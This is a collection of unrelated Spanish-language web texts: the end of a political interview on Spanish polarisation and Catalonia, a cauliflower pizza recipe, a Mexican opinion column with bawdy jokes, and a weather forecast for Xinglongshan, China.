presidente del Banco Central Europeo [Mario Draghi, 26 de julio de 2012: "El BCE está dispuesto a hacer lo que sea necesario para preservar el euro. Y créanme, será suficiente"].\n"El guerracivilismo tiene que ver con que somos un país que no conoce suficientemente bien su propia historia"\nP. Le preguntaba antes por el papel de Europa en el mundo, pero ¿y España? Da grima analizar cómo cambia el mundo y reparar luego en el tiempo que se consume en España hablando de la Guerra Civil...\nR. Pues sí, porque España tiene un papel muy importante que jugar en la conexión de Europa tanto con Sudamérica como con el continente africano, sin excluir, obviamente, el posicionamiento en la nueva política exterior, en la relación de Estados Unidos 'versus' China, como hemos hablado. Pero para eso hace falta ser creíble fuera y eso solo se consigue con grandes acuerdos internos que transmitan una imagen de estabilidad. Parto de mi propia experiencia: la credibilidad de la política exterior de un país se basa fundamentalmente en la cohesión interna porque fuera se sabe que, aunque cambien los gobiernos, los grandes ejes de la política exterior no van a variar. En España no solo no se trabaja en esos grandes consensos sino que la política se ha instalado en un clima de polarización, confrontación y deslegitimación del contrario, que es lo que más me inquieta: el adversario pasa a ser el ‘enemigo a batir’. Ese clima es muy peligroso y pernicioso. Añádale a eso la concentración que se está produciendo en torno al poder ejecutivo, en detrimento del legislativo y del judicial. Que se merme la capacidad de control del ejecutivo desde el Parlamento es muy grave, pero, sobre todo, el poder judicial no puede estar sometido a los vaivenes de la política. Atención con esto porque lo que está en juego son los fundamentos de la democracia representativa. Es un asunto muy delicado, sobre todo en un país como España, que tiene un claro déficit en la relación del representante con el representado por el excesivo peso de los aparatos de los partidos políticos.\nP. ¿Cuánto tiempo hace que se habla de ‘listas abiertas’ en España? ¿O de una reforma de la ley electoral? ¿O de la independencia de la Fiscalía y del poder judicial? Y nada…\nR. Claro, porque quienes tienen que resolver esos debates son, precisamente, los beneficiarios del actual sistema. Aquello que sucedió con las Cortes franquistas, que se hicieron el 'harakiri', no es un fenómeno habitual en política, ni mucho menos. No, eso tiene que producirse por un impulso de los ciudadanos, que es otro de nuestros problemas endémicos: la debilidad de una sociedad civil articulada como contrapeso del poder político. También en esto tiene que ver que somos un país que no conoce suficientemente bien su propia historia, y es inevitable pensar en la responsabilidad que tiene en ello el sistema educativo. La cuestión es que si se conociera mejor la historia reciente, como sucedía en la Transición, estoy seguro de que determinados debates guerracivilistas no se producirían: el progresivo olvido de la historia es lo que lleva a determinados líderes políticos españoles a hablar como hablan.\n"¿Hay alguien capaz de dar cinco nombres de la sociedad civil catalana de la actualidad? Todo eso ha sido fagocitado por el poder político"\nP. Usted, que se define como ‘liberal reformista’, ¿está tan lejos de VOX como de Unidas Podemos?\nR. De los planteamientos de Podemos me siento, no lejano, sino absolutamente ajeno porque son, como mínimo, de otro siglo; y con respecto a VOX estoy muy lejos de determinados posicionamientos políticos. Y de ambos no me gusta nada ese tono populista y elemental de sus mensajes. El populismo consiste precisamente en eso, en ofrecer respuestas simples a problemas complejos, identificando siempre a un enemigo con el que hay que acabar. Frente a eso, yo hago un elogio de la complejidad.\nP. Hablaba usted de la importancia de la sociedad en democracia. ¿Cómo es posible que la sociedad catalana, que se presumía tan pragmática y cosmopolita, haya degenerado en ese enfrentamiento social por el independentismo?\nR. Pues lo que yo creo, y lo digo con pesar como catalán, es que ha existido una sobrevaloración de las virtudes de la sociedad catalana y una sobrevaloración del papel histórico de la llamada ‘burguesía catalana’. Sucede, además, que se da la paradoja de que, en democracia, el poder político catalán, sustentado en el nacionalismo, ha debilitado enormemente la personalidad de la sociedad civil y de la burguesía catalana que, sin embargo, sí tuvo un protagonismo destacado al final del franquismo. Las pretensiones hegemónicas del poder político catalán lo han llevado a absorber la sociedad para sumarla a su proyecto nacional. ¿Hay alguien capaz de dar cinco nombres de la sociedad civil catalana de la actualidad? Pues va a ser muy difícil, porque todo eso ha sido fagocitado por el poder político. A partir de ahí, con la simplificación del debate, se llega a algo trágico: el desgarro y la ruptura en dos mitades de los catalanes y un 'impasse' de estancamiento de la política que, si no se soluciona muy rápido, tendrá consecuencias irreversibles. La clarísima decadencia de Cataluña, desde todos los puntos de vista, no solo el económico, sino también cultural o de proyección exterior, resulta especialmente triste para alguien como yo, nacido en Cataluña.\nPolítica exterior Pandemia India ONU Unión Europea


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Pizza de coliflor: ¿Sabías que puedes hacer pizza con coliflor? video\nInicio » Salud » Nutrición » ¿Sabías que puedes hacer pizza con coliflor? (Incluye video)\n¿Sabías que puedes hacer pizza con coliflor? (Incluye video)\nNutrición | 14-11-2017 | Por: Equipo Facemamá.com\nHacer una rica pizza de coliflor\n¿Sabías que también puedes sustituir el arroz por coliflor?\nEl coliflor es tendencia entre las personas que llevan una vida saludable, por esa razón te brindamos algunas opciones para preparar este delicioso vegetal.\nEste es un vegetal hervido que puede actuar como antiinflamatorio, además de proporcionarle al cuerpo una buena cantidad de antioxidantes, que ayudan a mejorar la salud de tu corazón y la de tu cerebro.\nLimpia el coliflor y quita los tallos, hierve el vegetal por unos cuantos minutos.\nAgrega un poco de aceite cuando el agua esté hirviendo y utiliza tus manos para unir el coliflor.\nMezcla hasta que se forme una masa consistente.\nUna vez que tenemos toda la masa de la coliflor, la introducimos en el microondas ocho minutos a máxima potencia.\nLa sacamos del microondas y le añadimos un huevo, una pizca de sal y el queso mozarella rallado y los ingredientes de tu preferencia.\nEn una bandeja de horno, sobre la que ponemos papel de horno, extendemos la mezcla con forma redonda.\nIntroducimos en el horno, precalentado, a 180ºC unos 20 minutos.\nLos nutricionistas aseguran que puedes sustituir algunos alimentos como el arroz por el coliflor, solo necesitas cortar la mitad superior y cocinarlos por unos minutos:\nCorta el coliflor en floretes, eliminando el tallo.\nCalienta el aceite (preferiblemente de coco) en un sartén, agrega la coliflor y cocina a fuego medio durante 2 minutos mezclando cada cierto tiempo.\nDespués de los 2 minutos, baja el fuego, tápalo y cocínalo durante 8 minutos.\nConsumir coliflor es importante, sólo 100g te proporciona el 80% de la vitamina C que necesitas.\nTips para controlar el peso en el embarazo Es cierto que durante el año se presentan ciertas celebraciones que pueden interferir en el peso de ...\nAprende a preparar un irresistible mousse de galletas y dulce de leche


Hipocresía y claudicación - Saltillo Coahuila\nHipocresía y claudicación\nFebrero 14, 2020 19:48 hrs.\nLa de antier fue una fecha penosa para México. Penosa en el sentido de triste, penosa también en su acepción de vergonzosa. La asistencia de los más destacados empresarios del País a la cena organizada por López Obrador dio a ver que el interés personal se está poniendo en esta hora difícil por encima de la dignidad propia y del bien de la nación. Al paso del tiempo ese evento aparecerá como de los más oprobiosos y reprochables sucesos de esta época, y quienes en él participaron se sentirán mal por haber estado ahí. Con su presencia convalidaron uno de los mayores desatinos del Presidente, y apoyaron con sus dineros la farsa que ha montado AMLO en el caso del ya tristemente célebre avión presidencial. Los empresarios son por esencia hombres y mujeres libres. Su privilegiada situación económica y su elevada posición social les dan un margen excepcional de libertad. Abdicar de esa libertad para ponerse al servicio de un régimen al cual seguramente critican y reprueban en lo privado es incurrir en hipocresía, y aun en claudicación. Entiendo la necesidad de los hombres de empresa de no estar en malos términos con el poderoso en turno, pero hay tiempos –y éste es uno de ellos– en que los empresarios deben pensar en el bien de México, y no comprometerlo con actos de sumisión y colaboracionismo como ése de la vergonzante cena a que acudieron. La prudencia es necesaria, mas no ha de llegar a la ignominia. El empresariado tiene una gran responsabilidad social, y la tiene también en el ámbito de lo político. Ha de servir de valladar a los excesos de los gobernantes, defender los derechos básicos de la persona humana, mirar por el bien comunitario. Incumplir esa responsabilidad a fin de allegarse el favor del monarca, volverse parte de su corte, cohonestar sus engaños y sus despropósitos, todo eso es atentar contra el futuro de las empresas, e incluso del país. El sector empresarial carece hoy por hoy de un buen liderazgo. Se advierte en él demasiado entreguismo. López Obrador necesita a los empresarios más de lo que los empresarios lo necesitan a él. No renuncien a esa ventaja. No cedan su libertad, su independencia. No pongan en riesgo a México junto con quien lo está poniendo en riesgo ya\nDaré salida ahora a una sucesión de inanes chascarrillos a fin de aligerar la tensión que mi anterior perorata debe haber causado a la República\nUn amigo le contó a don Chinguetas: ’Fui a la estación de policía y me mostraron una máquina detectora de mentiras’. Replicó don Chinguetas: ’Yo estoy casado con una’\nHimenia Camafría y Celiberia Sinvarón, solteras de avanzada edad, visitaron el museo de arte. El guía les mostró la efigie de un Hércoles desnudo con su atributo varonil en reposo. Declaró el guía: ’La estatua pertenece al periodo bajo’. Himenia le susurró al oído a Celiberia: ’La del periodo alto ha de estar más interesante’\nLa mamá de Simpliciano, muchacho sin ciencia de la vida, le dijo: ’He sabido que la mujer con la que andas de novio es de la vida alegre’. ’Amá –opuso Simpliciano–. ¿Y pa’ que quiero una de la vida triste?’\nDon Cucoldo llegó a su casa cuando no se le esperaba y sorprendió a su esposa en brazos y todo lo demás de un desconocido. Desconocido para don Cucoldo, pues la señora demostraba tener familiaridad con el sujeto, a juzgar por los epítetos con que se dirigía a él: ’papacito’, ’negro santo’ y ’cochototas’. Eso no se le dice a un extraño. Ardió en cólera el mitrado marido, y en un sólo golpe de voz le dijo a la mujer: ’¡Zorravulpejaraposainfamevil!’. Contestó ella en tono de reproche o queja: ’¡Ay, Cucoldo! ¡Tú insultándome y yo aquí practicando para darte a ti un mejor servicio!’


Previsión del Tiempo para Xinglongshan\nPronóstico del Tiempo para XinglongshanPronóstico del Tiempo para Xinglongshan\nPrevisión del tiempo para Xinglongshan (Jilin Sheng, República Popular China) emitida : 7 am vie 01 jul 2022 Tiempo Local\nPronóstico del tiempo de Xinglongshan. Enseñando un pronóstico meteorológico de Xinglongshan cada 3 horas para la lluvia, sol, viento, humedad y temperatura.\nEl pronóstico a largo plazo de 12 días también incluye detalles del tiempo de Xinglongshan hoy. Informes meteorológicos en vivo de las estaciones meteorológicas Xinglongshan y avisos meteorológicos que incluyen riesgo de truenos, alto índice UV y tormentas de pronóstico. Consulte los enlaces que se encuentran debajo de la tabla de pronóstico del tiempo Xinglongshan de 12 días para otras ciudades y pueblos cercanos, junto con las condiciones climáticas para actividades al aire libre locales.\nXinglongshan está a 208 m encima del nivel del mar y localizado en 43.96° N 125.47° E. Xinglongshan tiene una población de 58432. La hora local en Xinglongshan es CST.\nEl Tiempo Hoy en Xinglongshan\nFuerte lluvia (totál 30mm), más pesada durante la noche del viernes. Cálido (max 26°C el sábado por la tarde, min 20°C el viernes por la noche). El viento será generalmente ligero.\nTiempo en Xinglongshan (4–7 días)\nLluvia ligera (totál 8mm), cayendo mayormente el miércoles por la noche. Cálido (max 30°C el martes por la tarde, min 22°C el miércoles por la noche). El viento será generalmente ligero.\nTiempo a 10 Día en Xinglongshan\nLluvia ligera (totál 3.9mm), cayendo mayormente el sábado por la mañana. Cálido (max 29°C el sábado por la tarde, min 22°C el sábado por la noche). Vientos decreciente (vientos frescos desde el SO el viernes por la mañana, calma por la noche de sábado).\nTiempo para la próxima semana en Xinglongshan\nFuerte lluvia (totál 27mm), más pesada durante la noche de martes. Cálido (max 28°C el domingo por la tarde, min 18°C el martes por la noche). El viento será generalmente ligero.\n0.4 7 9 0.2 4.5 8 0.1 1.2 0.3 - 0.1 - - - 0.4 0.2 1.8 6 0.4 - - 0.4 0.6 0.1 1.1 0.4 0.9 4.6 8 4.3 1.2 0.5 - - - 8\n26 25 21 25 26 23 25 26 24 27 28 25 29 30 28 30 30 25 25 28 25 25 28 25 28 29 25 27 28 26 25 27 23 25 26 23\n24 23 20 23 25 20 23 26 22 24 27 23 26 30 25 27 29 22 24 28 24 24 27 22 25 29 22 25 28 22 24 26 20 22 26 18\n73 89 94 74 83 92 79 80 89 68 74 91 58 63 82 64 70 93 76 70 85 86 66 62 54 54 81 77 71 88 68 54 64 56 57 85\n3:59 - - 4:00 - - 4:00 - - 4:01 - - 4:01 - - 4:01 - - 4:03 - - 4:03 - - 4:03 - - 4:05 - - 4:05 - - 4:05 - -\n- 7:23 - - 7:23 - - 7:23 - - 7:23 - - 7:22 - - 7:22 - - 7:22 - - 7:22 - - 7:22 - - 7:22 - - 7:21 - - 7:21 -\n- 0.1 0.3 2.4 4.4 6 1.5 0.7 0.9 0.1 0.1 1.4 3.1 5 1 2.1 - - 0.1 0.4 0.8 0.3 - - - - - - 0.1 - - - - - - - - - - 0.4 - 0.1 0.1 0.7 1.1 3.4 0.5 0.9 1.1 0.2 0.2 - - - -\n22 24 26 25 23 21 21 20 20 23 25 26 25 23 21 20 21 23 25 26 26 24 23 23 22 24 27 28 27 25 24 23 23 26 29 30 30 28 26 25 25 27 30 30 29 25 24 23 22 24 25 28 28 25 24\n78 80 73 78 89 96 93 94 95 86 74 73 83 90 93 92 91 83 79 77 80 89 89 89 89 77 68 66 74 81 88 91 91 76 58 55 63 69 74 82 82 73 64 66 70 87 89 93 94 86 76 62 70 84 86\n3:59 - - - - - - - 4:00 - - - - - - - 4:00 - - - - - - - 4:01 - - - - - - - 4:01 - - - - - - - 4:01 - - - - - - - 4:03 - - - - - -\n- - - - 7:23 - - - - - - - 7:23 - - - - - - - 7:23 - - - - - - - 7:23 - - - - - - - 7:22 - - - - - - - 7:22 - - - - - - - 7:22 - -\n- - - - - 0.1 0.2 - - 0.6 1 0.9 1.1 1.4 1.9 1.2 1.9 2.4 1.3 0.1 - 0.1 0.2 0.4 0.5 0.2 0.2 0.1 - - - 0.1 0.1 0.1 0.5 0.7 1.2 1.1 0.7 1 2.8 1.5 0.6 0.1 0.4\n22 22 22 22 23 24 24 25 26 26 26 25 24 23 22 22 21 21 21 21 21 21 20 20 20 20 20 21 22 23 24 25 25 25 26 26 26 26 25 24 23 22 22 22 21\n74 76 78 80 78 80 78 75 73 71 74 78 82 87 89 92 95 96 96 95 93 93 93 94 95 95 95 93 88 86 81 76 74 74 75 73 75 78 83 87 88 90 91 92 93\n- 3:59 - - - - - - - - - - - - - - - - - - - - - - - - 4:00 - - - - - - - - - - - - - - - - - -\nTiempo en Xinglongshan\nEstaciones meteorológicas funcionando cerca de Xinglongshan\nTiempo en Vivo Hoy en Xinglongshan: Informes recientes de estaciones meteorológicas cercanas a Xinglongshan\n* NOTA: Todos los observatorios meteorológicos cerca de Xinglongshan no se actualizan al mismo tiempo, entonces solo enseñamos los reportes más recientes de las estaciones más cercanas que consideramos como recientes. También incluimos reportes del tiempo proveniente de barcos (SYNOP) cerca de Xinglongshan dentro de una ventana de tiempo aceptable.Read More\nXinglongshan ; Mapa de Localidad\nFotos de Xinglongshan\nSube tu propia foto del tiempo en Xinglongshan:Subir\nPrevisión del tiempo para ciudades cerca de Xinglongshan:\n46 km Fuerte lluvia (totál 34mm), más pesada durante la tarde de sábado. Lluvia moderada (totál 13mm), más pesada el miércoles por la noche. Lluvia moderada (totál 11mm), más pesada el sábado por la tarde. Fuerte lluvia (totál 39mm), más pesada durante la tarde de domingo.\n50 km Fuerte lluvia (totál 25mm), más pesada durante la noche de sábado. Lluvia ligera (totál 5mm), cayendo mayormente el miércoles por la noche. Lluvia ligera (totál 2mm), cayendo mayormente el jueves por la mañana. Fuerte lluvia (totál 28mm), más pesada durante la mañana de domingo.\n59 km Fuerte lluvia (totál 26mm), más pesada durante la tarde de sábado. Lluvia moderada (totál 11mm), más pesada el miércoles por la noche. Lluvia ligera (totál 8mm), cayendo mayormente el sábado por la mañana. Fuerte lluvia (totál 29mm), más pesada durante la tarde de domingo.\n79 km Fuerte lluvia (totál 22mm), más pesada durante la noche de sábado. Lluvia ligera (totál 2.5mm), cayendo mayormente el miércoles por la noche. Mayormente seco. Lluvia moderada (totál 18mm), más pesada el martes por la noche.